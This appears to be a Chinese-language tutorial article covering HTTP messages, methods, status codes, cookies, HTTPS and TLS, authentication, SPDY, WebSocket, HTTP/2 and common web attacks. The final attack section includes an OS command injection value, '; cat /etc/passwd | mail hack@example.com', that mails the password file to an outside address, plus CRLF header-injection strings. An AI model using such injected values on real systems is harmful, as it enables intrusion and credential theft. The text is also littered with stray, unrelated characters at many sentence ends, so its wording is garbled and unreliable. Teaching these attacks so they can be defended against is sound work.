HTTP概述

HTTP協(xié)議規(guī)定，一定是客戶端開始建立通信的鹿寻，也就是說請(qǐng)求一定是從客戶端發(fā)出渐尿，服務(wù)器端響應(yīng)請(qǐng)求，服務(wù)器端在沒有接收到請(qǐng)求的時(shí)候是不會(huì)有響應(yīng)的捕犬。

HTTP的請(qǐng)求報(bào)文由以下幾部分構(gòu)成：

方法 URI 協(xié)議版本
POST /form/entry HTTP/1.1
請(qǐng)求首部字段
Host :baidu.com
Connection:keep-alive
Content-Type:application/......
Content-Length:16
請(qǐng)求實(shí)體
name=asdf&age=32

HTTP的響應(yīng)報(bào)文則由以下幾部分構(gòu)成：

服務(wù)器端協(xié)議版本 狀態(tài)碼 狀態(tài)碼描述
HTTP/1.1 200 OK
響應(yīng)首部字段
Date：Tue, 10 Jul 2010 06:50:15 GMT
Content-Length:2134
Content_Type: text/html
主體
<'html'>...............
HTTP是無狀態(tài)協(xié)議跷坝，即每次有新的請(qǐng)求就會(huì)產(chǎn)生新的響應(yīng)
HTTP1.1中所有的連接默認(rèn)都是持久連接，即只要任意一端沒有提出斷開連接或听，則保持TCP連接狀態(tài)探孝。這樣所有的HTTP請(qǐng)求就可以在一個(gè)TCP連接中同時(shí)發(fā)送，不必每次都要等待上一個(gè)TCP的回應(yīng)了誉裆。

HTTP中的方法

• GET 用來請(qǐng)求訪問已經(jīng)被URI識(shí)別的資源顿颅，指定的資源經(jīng)過服務(wù)器解析后返回響應(yīng)的內(nèi)容。GET方法是默認(rèn)的HTTP請(qǐng)求方法足丢，然而用GET方法提交的表單數(shù)據(jù)只經(jīng)過了簡單的編碼粱腻，同時(shí)它將作為URL的一部分向Web服務(wù)器發(fā)送庇配，因此，如果使用GET方法來提交表單數(shù)據(jù)就存在著安全隱患绍些，同時(shí)提交的數(shù)據(jù)量不能太大捞慌。
• HEAD 類似于get請(qǐng)求，只不過返回的響應(yīng)中沒有具體的內(nèi)容柬批，用于獲取報(bào)頭
• POST 向指定資源提交數(shù)據(jù)進(jìn)行處理請(qǐng)求（例如提交表單或者上傳文件）啸澡。數(shù)據(jù)被包含在請(qǐng)求體中。POST請(qǐng)求可能會(huì)導(dǎo)致新的資源的建立和/或已有資源的修改氮帐。
• PUT 從客戶端向服務(wù)器傳送的數(shù)據(jù)取代指定的文檔的內(nèi)容嗅虏。
• DELETE 請(qǐng)求服務(wù)器刪除指定的頁面。
• CONNECT HTTP/1.1協(xié)議中預(yù)留給能夠?qū)⑦B接改為管道方式的代理服務(wù)器上沐。格式為：CONNECT 代理服務(wù)器名 ：端口號(hào) HTTP版本在代理服務(wù)器響應(yīng)請(qǐng)求后即進(jìn)入網(wǎng)絡(luò)隧道皮服。
• OPTIONS 允許客戶端查看服務(wù)器支持哪些請(qǐng)求方法。
• TRACE 回顯服務(wù)器收到的請(qǐng)求参咙，主要用于測試或診斷龄广。請(qǐng)求可能會(huì)到達(dá)多個(gè)服務(wù)器。這個(gè)TRACE請(qǐng)求就會(huì)在到達(dá)每一個(gè)服務(wù)器時(shí)發(fā)回本服務(wù)器收到的請(qǐng)求蕴侧。

HTTP狀態(tài)碼

狀態(tài)碼的第一位代表狀態(tài)碼的類別择同，這個(gè)是強(qiáng)制標(biāo)準(zhǔn)。后兩位有一些有約定俗稱的規(guī)定最好遵守戈盈，剩下的服務(wù)器自己創(chuàng)建自己要用的狀態(tài)碼都沒有問題奠衔。

• 2XX 成功：代表服務(wù)器接收到的請(qǐng)求已經(jīng)成功處理。204：無可返回內(nèi)容塘娶；206：接受到對(duì)資源一部分內(nèi)容的請(qǐng)求。
• 3XX 重定向：代表瀏覽器的請(qǐng)求需要做一些調(diào)整痊夭。301：永久性重定向刁岸，表示現(xiàn)在所請(qǐng)求的資源已經(jīng)永久的被分配到新的URI；302：臨時(shí)性重定向她我；303：當(dāng)前請(qǐng)求的資源存在著另外一個(gè)URI虹曙，希望瀏覽器以GET方法重定向到另一個(gè)URI上；304：當(dāng)客戶端發(fā)送附帶條件的請(qǐng)求時(shí)番舆，服務(wù)器端資源已經(jīng)找到酝碳，但是并不符合條件（比如請(qǐng)求某一時(shí)間后更新的頁面，但是服務(wù)器在這個(gè)時(shí)間點(diǎn)后并沒有更新過頁面恨狈，那么返回304疏哗，瀏覽器就可以使用自己的緩存了）；307：和302差不多禾怠；
• 4XX 客戶端錯(cuò)誤：代表是客戶端的請(qǐng)求出現(xiàn)了問題返奉。401：表示訪問需認(rèn)證贝搁；403：表示訪問被拒絕；404：沒有這個(gè)資源芽偏。
• 5XX 服務(wù)器端錯(cuò)誤雷逆。500：內(nèi)部錯(cuò)誤，服務(wù)器內(nèi)有bug或者什么臨時(shí)故障污尉；503：超載或正在維護(hù)膀哲。

為HTTP服務(wù)的那些Web服務(wù)器

http服務(wù)器可以搭建多個(gè)Web站點(diǎn)，每一個(gè)Web站點(diǎn)對(duì)應(yīng)一個(gè)虛擬主機(jī)被碗，這些站點(diǎn)可以有不同的域名等太。當(dāng)DNS解析這些域名的時(shí)候，都會(huì)指向同一個(gè)服務(wù)器的IP蛮放，服務(wù)器通過HTTP請(qǐng)求中的Host首部中的完整域名來把請(qǐng)求發(fā)送到不同的虛擬主機(jī)缩抡。
與之配合的還有代理，網(wǎng)關(guān)包颁，隧道瞻想，緩存服務(wù)器等。

HTTP首部字段

在HTTP報(bào)文中首部字段是很重要的娩嚼，給客戶端和服務(wù)器提供了傳輸和處理數(shù)據(jù)的重要信息蘑险。在HTTP請(qǐng)求報(bào)文中有：請(qǐng)求行（方法、URI岳悟、HTTP版本）佃迄、請(qǐng)求首部字段、通用首部字段贵少、實(shí)體首部字段呵俏。在HTTP響應(yīng)報(bào)文中有：狀態(tài)行（HTTP版本、狀態(tài)碼）滔灶、響應(yīng)首部字段普碎、通用首部字段、實(shí)體首部字段录平。

端到端首部和逐跳首部

端到端首部會(huì)轉(zhuǎn)發(fā)給請(qǐng)求或響應(yīng)的最終接收目標(biāo)麻车，逐跳首部則在單次轉(zhuǎn)發(fā)中有效。
各首部字段的詳細(xì)描述
上面的鏈接供大家參考
詳細(xì)記錄一下有關(guān)cookie的首部字段斗这，在服務(wù)器準(zhǔn)備開始管理客戶端狀態(tài)的時(shí)候动猬，就會(huì)發(fā)送set-cookie字段給客戶端。set-cookie有這么幾個(gè)屬性：

• NAME：賦予cookie的名稱和其值表箭。這是set-cookie里唯一一個(gè)必須要有的項(xiàng)
• expires：cookie的有效期赁咙，如果不指定就默認(rèn)只在這一個(gè)瀏覽器回話內(nèi)有效，也就是在瀏覽器被關(guān)閉之前
• path：這個(gè)屬性用來限制cookie發(fā)送到服務(wù)器上的哪個(gè)目錄，比如path=/foo序目，那么在訪問www.XXXX.com/foo的時(shí)候cookie會(huì)被發(fā)送
• domain：指定cookie被發(fā)送到哪臺(tái)計(jì)算機(jī)上臂痕。正常情況下，cookie只被送回最初向用戶發(fā)送cookie 的計(jì)算機(jī)猿涨。如果你設(shè)置了domain握童，cookie 會(huì)被發(fā)送到任何在這個(gè)域中的主機(jī)。如果domain 被設(shè)為空叛赚，domain 就被設(shè)置為和提供cookie 的Web 服務(wù)器相同澡绩。如果domain不為空，并且它的值又和提供cookie的Web服務(wù)器域名不符俺附，這個(gè)Cookie將被忽略肥卡。
• secure：這個(gè)屬性被設(shè)置意味著cookie只能通過https發(fā)送
• HttpOnly：這個(gè)屬性使javascript無法獲得Cookie，從而防止XSS跨站腳本攻擊對(duì)Cookie的獲取事镣。
  客戶端在訪問網(wǎng)站時(shí)如果發(fā)現(xiàn)符合已經(jīng)收到的set-cookie里的要求的url步鉴，就會(huì)把收到的cookie發(fā)送回去

HTTPS

HTTP存在的問題

使用明文進(jìn)行通信，內(nèi)容會(huì)被竊聽
在現(xiàn)有的網(wǎng)絡(luò)架構(gòu)下璃哟，人們可以從互聯(lián)網(wǎng)的任何一個(gè)節(jié)點(diǎn)獲取到流經(jīng)這個(gè)節(jié)點(diǎn)的HTTP請(qǐng)求氛琢。內(nèi)容如果是不加密的，那就意味著你的信息并不安全随闪。解決辦法就是使用內(nèi)容加密⊙羲疲現(xiàn)在使用的最廣泛的就是SSL加TLS。
不驗(yàn)證通信方的身份铐伴，可能遭遇偽裝
任何人都可以發(fā)出請(qǐng)求撮奏，任何人都可以攔截請(qǐng)求發(fā)出響應(yīng)。對(duì)此的辦法就是使用第三方頒發(fā)的證書來驗(yàn)證服務(wù)器和客戶端的身份当宴。
無法驗(yàn)證報(bào)文的完整性畜吊，有可能在發(fā)送的過程中已經(jīng)遭到篡改
僅靠HTTP協(xié)議來保證報(bào)文的完整性是不現(xiàn)實(shí)的，需要和其他協(xié)議共同工作即供。
HTTPS＝HTTP＋加密＋認(rèn)證＋完整性保護(hù)

SSL

SSL為HTTP提供了以上所有問題的解決方案定拟。
以前數(shù)據(jù)通過HTTP->TCP->IP的處理，現(xiàn)在則多了一層HTTP->SSL->TCP->IP逗嫡。
SSL并非是HTTP獨(dú)占，在很多其他的網(wǎng)絡(luò)應(yīng)用中同樣可以使用株依。
共享密鑰和公開密鑰
共享密鑰是通過相同的密鑰來對(duì)數(shù)據(jù)進(jìn)行加密和解密驱证，這就涉及到一個(gè)密鑰傳輸?shù)膯栴}，如果使用相同的密鑰進(jìn)行加密解密恋腕，就勢必意味著密鑰要在加密和解密的雙方進(jìn)行傳遞抹锄。那么如果我可以安全的進(jìn)行密鑰的傳輸，我就也能安全的傳輸數(shù)據(jù)，就不需要加密了伙单。反之获高，加密也沒用。
于是就有人開發(fā)出了公開密鑰加密體系吻育。在這個(gè)體系中念秧，加密使用的密鑰是公開的，使用公鑰進(jìn)行加密后布疼，使用不公開的私鑰進(jìn)行解密摊趾。這樣一來，信息的接收方把公鑰發(fā)布在網(wǎng)上而私鑰自己持有游两，信息的發(fā)送方使用公鑰進(jìn)行數(shù)據(jù)的加密并發(fā)送砾层，接收方使用自己的私鑰進(jìn)行解密。就解決了這個(gè)問題贱案。
不過這樣的機(jī)制存在兩個(gè)問題肛炮，一個(gè)是公鑰的合法性。我們不知道這個(gè)公鑰是不是真正的信息接收方發(fā)送的真正的密鑰宝踪。二是如果每次通信都使用這樣的方法進(jìn)行加密開銷很大侨糟。
對(duì)于第二個(gè)問題HTTPS的解決辦法是使用公開密鑰傳送共享密鑰，以后雙方的通信使用共享密鑰加密肴沫。
第一個(gè)問題就是使用證書了粟害。
公開密鑰證書
公開密鑰證書是由可信賴的第三方權(quán)威機(jī)構(gòu)頒發(fā)的。服務(wù)器運(yùn)營的公司會(huì)向這些機(jī)構(gòu)申請(qǐng)公鑰證書颤芬，申請(qǐng)下來的證書包括這個(gè)公鑰和認(rèn)證機(jī)構(gòu)使用自己的私鑰制作的數(shù)字簽名悲幅。在客戶端收到這個(gè)公鑰證書的時(shí)候，就使用權(quán)威機(jī)構(gòu)的公鑰來解密這個(gè)證書站蝠，解密成功了就認(rèn)為這個(gè)公鑰是可信的汰具。這就又有一個(gè)問題，這個(gè)權(quán)威機(jī)構(gòu)的公鑰怎么傳輸菱魔，解決辦法就是將各常用認(rèn)證機(jī)構(gòu)的證書事先放在瀏覽器中留荔。
當(dāng)然為了確認(rèn)客戶端的身份也有客戶端證書，幫助服務(wù)器端來確認(rèn)這個(gè)客戶端始終是這個(gè)客戶端澜倦。因?yàn)橘M(fèi)用和便利性等問題聚蝶，這個(gè)證書只用在安全性較高的應(yīng)用中，比如網(wǎng)銀藻治。
Message Authentication Code
這是在整個(gè)HTTPS會(huì)話中碘勉，應(yīng)用層在發(fā)送報(bào)文時(shí)為報(bào)文加上的報(bào)文摘要。簡稱MAC桩卵，MAC能夠查知報(bào)文是否被遭到篡改验靡，從而保護(hù)報(bào)文的完整性倍宾。

HTTPS通信步驟

1. 客戶端通過發(fā)送Client Hello報(bào)文來開始SSL通信，報(bào)文中包含客戶端支持的SSL版本胜嗓，一個(gè)客戶端生成的隨機(jī)數(shù)（Client random）高职，加密組件（算法及密鑰長度等）。
2. 服務(wù)器可進(jìn)行SSL通信時(shí)辞州，發(fā)送Server Hello報(bào)文作為應(yīng)答怔锌，在報(bào)文中發(fā)送服務(wù)器端的SSL版本和經(jīng)過篩選的加密組件以及一個(gè)服務(wù)器生成的隨機(jī)數(shù)（Server random）。
3. 服務(wù)器發(fā)送Certificate報(bào)文孙技，包含公鑰产禾。
4. 服務(wù)器發(fā)送Server Hello Done，SSL最初握手協(xié)商部分結(jié)束牵啦。
5. 客戶端收到公鑰證書亚情，驗(yàn)證成功后取出公鑰误辑，使用公鑰對(duì)自己剛生成的pre-master secret隨機(jī)密碼串進(jìn)行加密厕倍，并放在Client Key Exchange報(bào)文中發(fā)送給服務(wù)器端。
6. 客戶端發(fā)送Change Cipher Spec報(bào)文视粮，提示服務(wù)器以后所有的報(bào)文都通過pre-master secret隨機(jī)密碼串進(jìn)行加密裳瘪。
7. 客戶端發(fā)送Finished報(bào)文土浸，包含之前所有報(bào)文的整體校驗(yàn)值，服務(wù)器必須正確解密這個(gè)報(bào)文彭羹，握手才成功黄伊。
8. 服務(wù)器也會(huì)發(fā)送Change Cipher Spec，F(xiàn)inished報(bào)文派殷。
9. 雙方的Finished報(bào)文交換完畢后还最，握手成功，客戶端和服務(wù)器使用以上三個(gè)隨機(jī)數(shù)生成接下來所有SSL通信使用的session key毡惜。

身份認(rèn)證方式

這是服務(wù)器端認(rèn)證客戶端的方式拓轻。

BASIC認(rèn)證

這個(gè)認(rèn)證就是在收到服務(wù)器返回的401需要授權(quán)狀態(tài)碼的時(shí)候?qū)⒂脩糨斎氲腎D和密碼用Base64方式編碼后發(fā)送給服務(wù)器。這種編碼方式基本就是明文经伙，很不安全扶叉。

DIGEST認(rèn)證

這種認(rèn)證辦法就稍微安全一些，在服務(wù)器收到客戶端的請(qǐng)求后帕膜，隨401返回一個(gè)臨時(shí)質(zhì)詢碼枣氧。客戶端根據(jù)這個(gè)臨時(shí)質(zhì)詢碼垮刹，用戶的密碼及相應(yīng)的算法生成響應(yīng)碼發(fā)回給服務(wù)器端作瞄。相對(duì)來說安全了一些，不過只是防止了密碼被竊聽危纫。并不能防止用戶偽裝。也就是說，如果用戶的用戶名和密碼被盜种蝶，就沒有辦法阻止第三方冒充契耿。

SSL認(rèn)證

這里說的是SSL客戶端認(rèn)證。首先需要將客戶端證書分發(fā)給客戶且客戶端安裝了這個(gè)證書螃征。通信時(shí)服務(wù)器會(huì)以Certificate Request報(bào)文要求客戶端提供客戶端證書搪桂，用戶選擇發(fā)送后就會(huì)把證書以Client Certificate報(bào)文方式發(fā)送給服務(wù)器，服務(wù)器確認(rèn)證書無誤后領(lǐng)取證書中的公鑰開始HTTPS通信盯滚。
一般SSL認(rèn)證都采取密碼加證書的方式來驗(yàn)證踢械。也就是驗(yàn)證規(guī)定的人在規(guī)定的客戶端登錄。

基于表單的認(rèn)證及Session管理

由于BASIC與DIGEST并不安全魄藕，SSL又有較高的購買證書的成本内列。所以大多數(shù)的Web應(yīng)用都使用基于表單的認(rèn)證。
客戶端將用戶填的表單放在報(bào)文的實(shí)體部分背率，通常以POST請(qǐng)求發(fā)送給服務(wù)器话瞧。當(dāng)然這里的數(shù)據(jù)交換是使用HTTPS的。
服務(wù)器端驗(yàn)證客戶端發(fā)來的登錄信息寝姿，然后把用戶的認(rèn)證狀態(tài)和SessionID綁定后紀(jì)錄在服務(wù)器端交排，向客戶端返回響應(yīng)時(shí)將SessionID放在Set-Cookie中返回。SessionID必須妥善傳輸與保存饵筑，別人拿到了SessionID就相當(dāng)于拿到了你的通行證埃篓。保證SessionID安全的措施有：SessionID有有效期；SessionID生成的時(shí)候很復(fù)雜根资；使用HTTPS傳送架专；在Cookie上加入httponly屬性防止JS獲取Cookie防止XSS。
客戶端拿到SessionID后會(huì)存下嫂冻，下次向這個(gè)服務(wù)器發(fā)送請(qǐng)求時(shí)會(huì)帶上這個(gè)SessionID胶征。

關(guān)于服務(wù)器端密碼的保存

服務(wù)器保存客戶的密碼通常先給密碼加鹽，在用hash函數(shù)計(jì)算出散列值之后保存桨仿。加鹽就是隨機(jī)生成一個(gè)足夠長的字符串睛低，與密碼串進(jìn)行拼接。這樣就算兩個(gè)人或同一個(gè)人在不同網(wǎng)站的密碼相同服傍，加鹽后也不同了钱雷。

基于HTTP的功能增加協(xié)議們

HTTP的瓶頸

• 一條鏈接上只能發(fā)送一個(gè)請(qǐng)求
• 請(qǐng)求只能從客戶端開始，客戶端只能接收響應(yīng)
• 首部冗長吹零，重復(fù)罩抗，非強(qiáng)制壓縮

Ajax

Ajax的核心就是使用JS語句調(diào)用XMLHttpRequest的API直接與服務(wù)器進(jìn)行HTTP通信。這樣就能從加載完畢的頁面向服務(wù)器發(fā)起請(qǐng)求灿椅，只更新局部頁面套蒂。但是這并沒有解決HTTP本身的問題钞支，每一次Ajax請(qǐng)求依舊存在著上述問題。

Comet

客戶端向服務(wù)器發(fā)送確認(rèn)是否有更新內(nèi)容的請(qǐng)求操刀，服務(wù)器不會(huì)進(jìn)行立即的響應(yīng)烁挟，而是等著內(nèi)容真的有更新的時(shí)候?qū)㈨憫?yīng)發(fā)回，理論上做到了實(shí)時(shí)更新內(nèi)容骨坑，但是為了保留響應(yīng)撼嗓，一次連接的時(shí)間變長了，期間為了維持連接也消耗了更多的資源欢唾。仍未解決HTTP的根本問題且警。

SPDY

HTTP的根本性改善一定是在協(xié)議層面上的。Google提出來SPYD礁遣。SPYD并未完全改寫HTTP只是在HTTP（應(yīng)用層）和SSL（表示層）之間加了SPYD（會(huì)話層）斑芜。SPYD提供了以下幾個(gè)功能：

• 多路復(fù)用：通過單一的TCP連接可以并發(fā)處理無限制個(gè)HTTP請(qǐng)求
• 賦予請(qǐng)求優(yōu)先級(jí)：給請(qǐng)求逐個(gè)分配優(yōu)先級(jí)
• 壓縮HTTP首部：減少通信字節(jié)
• 推送功能：支持服務(wù)器主動(dòng)向客戶端推送數(shù)據(jù)，不必等待客戶端請(qǐng)求
• 服務(wù)器提示功能：服務(wù)器可以主動(dòng)提示客戶端請(qǐng)求某些資源亡脸，并提前緩存資源

WebSocket

WebSocket是一套新的協(xié)議及API押搪。實(shí)現(xiàn)Web服務(wù)器與Web瀏覽器的全雙工通信。一旦服務(wù)器與客戶端之間建立起來WebSocket的連接浅碾，之后所有的通信都通過這個(gè)專用協(xié)議進(jìn)行大州。可以互相發(fā)送JSON垂谢，XML厦画，HTML或圖片等任意格式的數(shù)據(jù)。WebSocket是建立在HTTP基礎(chǔ)上的協(xié)議滥朱，所以連接的發(fā)起方仍然是客戶端根暑。一旦確立WebSocket連接，任意一方都可以直接向?qū)Ψ桨l(fā)送報(bào)文徙邻。
為了實(shí)現(xiàn)WebSocket通信排嫌，需要在客戶端發(fā)送請(qǐng)求時(shí)在HTTP的Upgrade字段寫上協(xié)議的變化：
Upgrade: web socket
Sec-WebSocket-Key:odhfiwfiqugwefhnwloihbi==
Sec-WebSocket-Protocol:chat,superchat
Sec-WebSocket-Version: 13
服務(wù)器收到這樣的請(qǐng)求時(shí)返回101協(xié)議改變狀態(tài)碼，以及相應(yīng)字段的值缰犁。
這樣就算握手成功了淳地，之后通信采用WebSocket獨(dú)立的數(shù)據(jù)幀。
JS可以調(diào)用WebSocket API

var socket = new WebSocket('ws://game.example.com:12010/updates');
socket.onopen = function(){
    socket.send(getUpdateData());
};

HTTP/2.0

HTTP/2.0主要圍繞7項(xiàng)技術(shù)來進(jìn)行討論帅容。以三個(gè)協(xié)議為基礎(chǔ)：SPYD颇象、HTTP Speed+Mobility和Network-Friendly HTTP Upgrade。

• 壓縮：SPYD并徘、Network-Friendly HTTP Upgrade
• 多路復(fù)用：SPYD
• TLS義務(wù)化：HTTP Speed+Mobility
• 協(xié)商：HTTP Speed+Mobility遣钳、Network-Friendly HTTP Upgrade
• Client Pull/Server Push：HTTP Speed+Mobility
• 流量控制：SPYD
• WebSocket：HTTP Speed+Mobility

在HTTP/2.0中，并不會(huì)改變現(xiàn)有的HTTP 語義麦乞，HTTP 方法蕴茴、狀態(tài)碼劝评、URI 及首部字段。主要將改變聚焦在性能的提高上：改進(jìn)傳輸性能荐开，實(shí)現(xiàn)低延遲和高吞吐量付翁。對(duì)于應(yīng)用的開發(fā)者來說這是好事，意味著并不用修改很多就可以用上性能更高的新一代協(xié)議晃听。

二進(jìn)制分幀

2.0最核心的性能增強(qiáng)在二進(jìn)制分幀，它將所有傳輸?shù)男畔⒎指顬楦〉南⒑蛶⒉捎枚M(jìn)制格式的編碼砰识，其中1.0中國的首部會(huì)被封裝到Headers幀能扒，請(qǐng)求和響應(yīng)實(shí)體會(huì)被封裝到data幀。所有通信在一個(gè)連接上完成辫狼，這個(gè)鏈接可以承載任意數(shù)量的雙向數(shù)據(jù)流初斑，每個(gè)數(shù)據(jù)流以消息的形式發(fā)送，消息由一個(gè)或多個(gè)幀組成膨处，幀可以亂序發(fā)送见秤，最后根據(jù)每個(gè)幀首部的標(biāo)識(shí)符重新組裝。這就意味著每個(gè)二進(jìn)制幀都要有頭部信息真椿，否則最后無法組裝鹃答。那么首部就需要壓縮優(yōu)化，否則突硝。测摔。。解恰。锋八。

首部壓縮

在2.0中，服務(wù)器和客戶端同時(shí)使用首部表來維護(hù)首部的鍵值對(duì)护盈，每次通信只發(fā)送與上次首部中內(nèi)容不一樣的部分挟纱，所以像是用戶代理等等幾乎不會(huì)發(fā)生變化的首部內(nèi)容只發(fā)送一次，這也就意味著有時(shí)首部的開銷是0哦腐宋。

一個(gè)連接處理所有請(qǐng)求

比如你請(qǐng)求一個(gè)頁面紊服，這個(gè)頁面上所有的HTTP請(qǐng)求都是在這一個(gè)TCP連接中完成的。
還記得合并文件和Sprite合圖嘛脏款，就是把小js和css文件合在一個(gè)文件里围苫，各種小圖合在一個(gè)Sprite圖里，以減少HTTP請(qǐng)求撤师。這個(gè)在HTTP/2.0里再也不用管啦～
TCP在長時(shí)間傳輸大塊數(shù)據(jù)時(shí)效率比較高剂府，然而HTTP的特點(diǎn)是突發(fā)，數(shù)據(jù)量小剃盾。這時(shí)為每個(gè)HTTP通信建立一個(gè)TCP連接顯然就不劃算了腺占，要有效的使用TCP連接淤袜，就將HTTP通信放在一個(gè)連接里咯。這樣做就使上面這類資源合并減少請(qǐng)求的優(yōu)化手段顯得沒有必要了衰伯。

并行雙向字節(jié)流的請(qǐng)求和響應(yīng)

在HTTP/2.0上铡羡，客戶端和服務(wù)器可以把HTTP消息分解為互不依賴的幀，然后亂序發(fā)送意鲸，最后再在另一端把它們重新組合起來烦周。這也就意味著：可以并行交錯(cuò)地發(fā)送請(qǐng)求，請(qǐng)求之間互不影響怎顾《辽鳎可以并行交錯(cuò)地發(fā)送響應(yīng)，響應(yīng)之間互不干擾槐雾。只使用一個(gè)連接即可并行發(fā)送多個(gè)請(qǐng)求和響應(yīng)夭委。消除不必要的延遲，從而減少頁面加載的時(shí)間募强。

請(qǐng)求優(yōu)先級(jí)

在亂序發(fā)送請(qǐng)求和響應(yīng)的過程中株灸，有時(shí)你想要優(yōu)先收到某些響應(yīng)，比如先收HTML文件再收img擎值，這時(shí)你就可以將HTML的優(yōu)先值設(shè)高一點(diǎn)慌烧。但這個(gè)優(yōu)先并不是絕對(duì)的，只是會(huì)在有條件的情況下優(yōu)先幅恋，否則就又成了順序請(qǐng)求從而造成阻塞了杏死。

服務(wù)器推送

HTTP/2.0中服務(wù)器可以對(duì)一個(gè)客戶端請(qǐng)求發(fā)送多個(gè)響應(yīng)，這也就意味著服務(wù)器可以額外像客戶端推送資源捆交。

Web的攻擊技術(shù)

輸出值轉(zhuǎn)義不完全

跨站腳本攻擊
說白了就是通過在訪問有漏洞的網(wǎng)站的用戶的瀏覽器中運(yùn)行非法的HTML標(biāo)簽或者JS代碼淑翼。通常通過用戶輸入或URL請(qǐng)求動(dòng)態(tài)創(chuàng)建的HTML頁面容易出現(xiàn)這個(gè)漏洞。攻擊者可以誘騙用戶發(fā)送含有惡意代碼的URL品追，在用戶得到返回的HTML時(shí)玄括，惡意代碼也就運(yùn)行了。
SQL注入攻擊
和上面的原理差不多肉瓦，有的網(wǎng)站將URL的參數(shù)作為查詢條件等直接寫入SQL語句遭京。這樣通過巧妙的拼湊可能會(huì)使服務(wù)器執(zhí)行不應(yīng)執(zhí)行的操作。
OS命令注入攻擊
有的Web應(yīng)用是可以通過調(diào)用Shell命令來執(zhí)行操作系統(tǒng)命令的泞莉。這時(shí)如果不注意的話哪雕，有可能會(huì)被強(qiáng)行植入惡意OS命令。
比如一個(gè)郵件應(yīng)用鲫趁，執(zhí)行這個(gè)命令：

open(MAIL,"| /usr/sbine/sendmail $adr")//其中$adr是用戶輸入的郵件地址

攻擊者如果輸入這么一段地址：

斯嚎； cat /etc/passwd | mail hack@example.com

而服務(wù)器端并沒有驗(yàn)證這是否是一個(gè)有效的Email地址就直接執(zhí)行時(shí)，這個(gè)命令就變成了這樣：

| /usr/sbine/sendmail ； cat /etc/passwd | mail hack@example.com

含有賬戶信息的/etc/passwd就被發(fā)到指定文件夾了堡僻。

HTTP首部注入攻擊
顧名思義就是修改HTTP首部的攻擊糠惫。原理也很簡單，利用有些Web應(yīng)用會(huì)使用URL參數(shù)或用戶輸入來生成HTTP首部的某些字段钉疫，攻擊者在這些值后面加上“%0D%0A”也就是換行符硼讽，再跟上惡意頭部鍵值對(duì)，比如"Set-Cookie:+SID=134"牲阁，那么首部就被插入了一個(gè)意外值固阁。在這里，用戶的Cookie被設(shè)置為了攻擊者想設(shè)置的值咨油，為會(huì)話固定攻擊打下了基礎(chǔ)您炉。
HTTP響應(yīng)截?cái)?/strong>
剛才是插入一個(gè)換行符，如果插入兩個(gè)役电，就可以偽造響應(yīng)主體部分了。
郵件首部注入攻擊
如果在郵件地址欄填入asdfasdf@asd.com％0D％0AText Message棉胀，就把郵件內(nèi)容改為了Text Message法瑟。和HTTP首部注入一個(gè)原理。利用換行符代表分隔符這個(gè)特性唁奢。
目錄遍歷攻擊
有些時(shí)候Web應(yīng)用通過用戶指定的目錄來訪問資源霎挟，這里一不注意就可能被發(fā)現(xiàn)可以使用../等操作符訪問到不想開放的目錄上。
遠(yuǎn)程文件包含漏洞
這是老版本PHP的漏洞麻掸，原理就是使用PHP的include可以包含跨域的文件這個(gè)特性酥夭，將惡意代碼包含進(jìn)來。